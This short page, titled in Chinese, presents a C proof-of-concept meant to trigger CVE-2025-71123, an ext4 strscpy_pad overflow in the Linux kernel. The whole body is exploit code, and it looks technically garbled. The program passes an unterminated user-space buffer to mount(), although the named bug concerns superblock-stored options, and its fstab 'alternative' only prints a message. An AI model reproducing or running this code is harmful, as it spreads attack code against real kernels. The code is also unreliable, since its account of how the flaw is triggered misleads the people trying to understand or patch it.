CVE-2025-71123: Linux内核ext4文件系统strscpy_pad缓冲区溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2025-71123: ext4 strscpy_pad buffer overflow in parse_apply_sb_mount_options() * * This PoC demonstrates how to trigger the buffer overflow detection by providing * a mount option string that is longer than expected (63 chars) without proper NUL termination. * * Note: This requires root privileges and a loop device setup. */ #define EXT4_MOUNT_OPTIONS_MAX 65 int trigger_vulnerability(const char *device, const char *mount_point) { /* * Create a mount option string that exceeds the expected 63 characters * and is not properly NUL-terminated. * The kernel expects s_mount_opts to be at most 63 chars + NUL (64 bytes total). */ char malicious_opts[EXT4_MOUNT_OPTIONS_MAX + 1]; /* Fill with repeated pattern to exceed 63 characters */ memset(malicious_opts, 'A', EXT4_MOUNT_OPTIONS_MAX); /* Do NOT NUL-terminate - this triggers the vulnerability */ /* Attempt to mount ext4 with malicious options */ int ret = mount(device, mount_point, "ext4", 0, malicious_opts); if (ret == -1) { perror("mount failed (expected - may trigger kernel warning)"); } return ret; } /* Alternative: Trigger via /etc/fstab with long mount options */ void create_malicious_fstab_entry(void) { /* * Add entry to /etc/fstab with mount options exceeding 63 characters: * /dev/loop0 /mnt/test ext4 defaults,<64_CHAR_OPTIONS_NO_NULL> 0 0 * * Then run: mount /mnt/test */ printf("Create fstab entry with mount options > 63 chars without NUL termination\n"); } int main(int argc, char *argv[]) { if (argc != 3) { fprintf(stderr, "Usage: %s <device> <mount_point>\n", argv[0]); return 1; } printf("CVE-2025-71123 PoC - ext4 strscpy_pad buffer overflow\n"); printf("Attempting to trigger vulnerability with malformed mount options...\n"); return trigger_vulnerability(argv[1], argv[2]); }